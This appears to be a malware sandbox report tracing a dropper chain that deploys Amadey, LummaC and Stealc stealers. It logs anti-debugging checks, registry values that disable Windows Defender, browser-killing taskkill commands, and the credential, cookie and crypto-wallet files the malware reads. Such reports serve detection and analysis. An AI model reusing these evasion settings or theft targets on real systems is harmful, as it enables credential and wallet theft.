Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05380C07 rdtsc

0_2_05380C07

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

Code function: 7_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_0040A54A

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

Code function: 7_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

7_2_00402A20

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC652B mov eax, dword ptr fs:[00000030h]	0_2_00AC652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACA302 mov eax, dword ptr fs:[00000030h]	0_2_00ACA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0022A302 mov eax, dword ptr fs:[00000030h]	2_2_0022A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0022652B mov eax, dword ptr fs:[00000030h]	2_2_0022652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0022A302 mov eax, dword ptr fs:[00000030h]	3_2_0022A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0022652B mov eax, dword ptr fs:[00000030h]	3_2_0022652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0022A302 mov eax, dword ptr fs:[00000030h]	6_2_0022A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0022652B mov eax, dword ptr fs:[00000030h]	6_2_0022652B
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_10007A76 mov eax, dword ptr fs:[00000030h]	7_2_10007A76
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_10005F25 mov eax, dword ptr fs:[00000030h]	7_2_10005F25
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00FFCF1B push dword ptr fs:[00000030h]	7_2_00FFCF1B
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B70D90 mov eax, dword ptr fs:[00000030h]	7_2_04B70D90
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B7092B mov eax, dword ptr fs:[00000030h]	7_2_04B7092B

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

Code function: 7_2_00402EC0 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,HeapFree,VirtualAlloc,

7_2_00402EC0

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_004099EA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_004099EA
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0040A54A
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0040CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0040CDA3
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0040A6E0 SetUnhandledExceptionFilter,	7_2_0040A6E0
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_10002ADF
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_100056A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_100056A0
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_10002FDA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_10002FDA
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B79C51 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_04B79C51
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B7A7B1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_04B7A7B1
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B7D00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_04B7D00A
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B7A947 SetUnhandledExceptionFilter,	7_2_04B7A947
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61EAF900 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	9_2_61EAF900
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61EAF8FC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	9_2_61EAF8FC

Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: e051bdf457.exe PID: 3716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e051bdf457.exe PID: 5312, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe "C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe "C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe "C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe "C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe "C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: ba17bbfb21.exe, 0000000B.00000002.3194386177.0000000000672000.00000002.00000001.01000000.0000000D.sdmp, ba17bbfb21.exe.6.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 79ddad050f.exe, 79ddad050f.exe, 00000008.00000002.3256159559.000000000054C000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 0ms`Program Manager
Source: 79ddad050f.exe, 00000008.00000002.3256159559.000000000054C000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: o0ms`Program Manager
Source: 4611cc433b.exe, 4611cc433b.exe, 00000007.00000002.3256554166.00000000009AE000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: z?wProgram Manager
Source: file.exe, 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: 6h%Program Manager
Source: firefox.exe, 0000001B.00000002.3262020047.0000001AF49FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0020DD91 cpuid

6_2_0020DD91

Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AACBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00AACBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_001F65E0 LookupAccountNameA,

6_2_001F65E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00232517 GetTimeZoneInformation,

6_2_00232517

Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe

Registry value created: TamperProtection 0

Source: 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F64000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: ba17bbfb21.exe PID: 3380, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 79ddad050f.exe PID: 5228, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 79ddad050f.exe PID: 2576, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000009.00000002.3254990045.0000000000251000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3255076281.0000000000251000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2997152380.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3265209742.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3165593747.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e051bdf457.exe PID: 3716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e051bdf457.exe PID: 5312, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 79ddad050f.exe, 00000008.00000003.2972144892.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\walletsb
Source: 79ddad050f.exe, 00000008.00000003.3179670006.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 79ddad050f.exe, 00000008.00000003.2972144892.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: 79ddad050f.exe, 00000008.00000003.3179670006.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 79ddad050f.exe, 00000008.00000003.3093876019.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 79ddad050f.exe, 00000008.00000003.3093876019.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 79ddad050f.exe, 0000000A.00000003.3166621569.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 79ddad050f.exe, 00000008.00000003.2978992587.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 79ddad050f.exe, 00000008.00000003.2978992587.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
